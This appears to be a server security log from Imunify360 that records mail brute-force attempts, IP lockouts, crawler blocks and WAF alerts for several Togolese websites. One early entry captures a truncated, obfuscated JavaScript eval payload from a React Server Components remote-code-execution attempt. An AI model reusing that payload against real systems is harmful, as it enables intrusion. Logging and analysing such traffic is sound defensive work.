2026-06-15 20:21:35 dovecot_login authenticator failed for H=(PEJu2FwMr) [141.98.10.175]:58532: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.office.cameg-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__a3fef8f9\":\"582d\",\"_response\":{\"_prefix\":\"var dhx=arguments[0x1];var qa=dhx;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:21:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:22:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:22:34 dovecot_login authenticator failed for H=(1sQuWqc) [141.98.10.175]:62202: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:22:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:22:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 60.191.125.35
country_id: 1814991
domain: 112.124.42.80:63435
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/112.124.42.80:63435/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:23:27 dovecot_login authenticator failed for H=(CmAkFy) [141.98.10.175]:62967: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 15 20:24:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-15 20:24:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:65266: 535 Incorrect authentication data (set_id=gitlab1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:23:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:24:28 dovecot_login authenticator failed for H=(jOeBPxgH) [141.98.10.175]:50047: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 109.196.160.195
country_id: 2510769
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:109.196.160.195||TA:109.196.160.195||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.210.132.44
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.210.132.44||TA:192.210.132.44||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:24:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.202.254.92
country_id: 2562770
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:142.202.254.92||TA:142.202.254.92||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.159.74
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.121.159.74||TA:172.121.159.74||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.52
country_id: 798544
description:
Jun 15 20:25:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.52 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.126.243
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:184.174.126.243||TA:184.174.126.243||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:25:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 150.107.202.147
country_id: 458258
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:150.107.202.147||TA:150.107.202.147||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.205.219
country_id: 1605651
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:62.105.205.219||TA:62.105.205.219||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.172.221.252
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.172.221.252||TA:107.172.221.252||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 181.214.13.176
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:181.214.13.176||TA:181.214.13.176||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.36.216
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.253.36.216||TA:104.253.36.216||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.46
country_id: 3017382
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.196.46||TA:104.252.196.46||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.128.190
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:142.147.128.190||TA:142.147.128.190||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.212.217
country_id: 6251999
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.253.212.217||TA:104.253.212.217||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.52
country_id: 798544
description:
Jun 15 20:25:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:25:44 dovecot_login authenticator failed for H=(YPIVgu9x) [141.98.10.175]:59816: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:26:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275731&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781555211 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.26.122
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.233.26.122||TA:104.233.26.122||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.105.100.157
country_id: 2635167
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.105.100.157||TA:198.105.100.157||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:26:43 dovecot_login authenticator failed for H=(hsa42OKO) [141.98.10.175]:49546: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.113.119.254
country_id: 2921044
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:194.113.119.254||TA:194.113.119.254||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.219.191
country_id: 3017382
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.253.219.191||TA:104.253.219.191||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.144.190.142
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.144.190.142||TA:198.144.190.142||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 181.214.37.228
country_id: 2264397
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:181.214.37.228||TA:181.214.37.228||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.107.63
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.107.63||TA:104.239.107.63||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:27:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:27:46 dovecot_login authenticator failed for H=(VRAddtas) [141.98.10.175]:59882: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.46
country_id: 3469034
description:
Jun 15 20:28:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:28:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:28:45 dovecot_login authenticator failed for H=(10766Am) [141.98.10.175]:59347: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:29:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:29:31 dovecot_login authenticator failed for H=(BKFqat5Tin) [141.98.10.175]:62256: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:30:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.119
country_id: 1880251
description:
47.128.122.119 - - [15/Jun/2026:20:30:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13159015&pdata=https%253A%252F%252Ftogodailynews.tg%252Fvers-lorganisation-dun-forum-economique-togo-coree-a-seoul%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781555446 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/vers-lorganisation-dun-forum-economique-togo-coree-a-seoul/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.203.193.106
country_id: 1168579
description:
Jun 15 20:31:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.203.193.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:30:23 dovecot_login authenticator failed for H=(QkvnKd1) [141.98.10.175]:53163: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.203.193.106
country_id: 1168579
description:
2026-06-15 20:31:20 dovecot_login authenticator failed for H=([113.203.193.106]) [113.203.193.106]:37602: 535 Incorrect authentication data (set_id=it@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:31:47 dovecot_login authenticator failed for H=(Bf8fBjhrn) [141.98.10.175]:58252: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 66.231.70.124
country_id: 3658394
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.17||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sanlam.com||User:egjvuiox||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.95
country_id: 1880251
description:
47.128.121.95 - - [15/Jun/2026:20:32:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13094034&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgestion-efficace-des-risques-climatiques-au-togo-renforcement-des-capacites-des-acteurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781555531 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/gestion-efficace-des-risques-climatiques-au-togo-renforcement-des-capacites-des-acteurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.95


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:31:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.211.68.106
country_id: 6252001
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:173.211.68.106||TA:173.211.68.106||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:32:41 dovecot_login authenticator failed for H=(4IXjJk) [141.98.10.175]:61878: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.236.188
country_id: 2661886
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.112.236.188||TA:92.112.236.188||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:32:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:33:33 dovecot_login authenticator failed for H=(RBLoFR) [141.98.10.175]:60949: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.149.149
country_id: 1562822
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/intelligence-artificielle-lafrique/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.228.138
country_id: 2661886
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.112.228.138||TA:92.112.228.138||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.157.176
country_id: 6251999
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:46.203.157.176||TA:46.203.157.176||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.149.149
country_id: 1562822
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/intelligence-artificielle-lafrique/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.243.58
country_id: 1269750
description:
Jun 15 20:33:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.243.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.243.58
country_id: 1269750
description:
2026-06-15 20:33:24 dovecot_plain authenticator failed for H=(vated) [152.52.243.58]:37380: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:33:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:34:44 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:34:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:34:28 dovecot_login authenticator failed for H=(l0UtkV) [141.98.10.175]:62913: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:34:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:35:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:35:23 dovecot_login authenticator failed for H=(ry3QRUFI6) [141.98.10.175]:64943: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 102.64.220.127
country_id: 2363686
domain: misstogo.tg
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.17||T:APACHE||MVN:ARGS:class||MV:Essential_Addons_Elementor\\Elements\\Post_Grid||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-15 20:37:04 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:56216: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:36:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:36:23 dovecot_login authenticator failed for H=(c6lAIfqZvf) [141.98.10.175]:49972: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:37:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:37:48 dovecot_login authenticator failed for H=(B8HKoYtD7T) [141.98.10.175]:60037: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.65.44.114
country_id: 2542007
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.65.44.114
country_id: 2542007
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:38:24 dovecot_login authenticator failed for H=(mJv42XKmOE) [141.98.10.175]:55459: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:38:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:39:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885103&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781555992 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:39:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:39:36 dovecot_login authenticator failed for H=(PTTRbrEnoh) [141.98.10.175]:61810: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:40:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:40:37 dovecot_login authenticator failed for H=(OisMa4Gc) [141.98.10.175]:50778: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.147.232.55
country_id: 6252001
description:
45.147.232.55 - - [15/Jun/2026:20:40:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146004&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781556048 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.147.232.55


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:41:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:41:39 dovecot_login authenticator failed for H=(6EckBoTDpL) [141.98.10.175]:56860: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:42:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
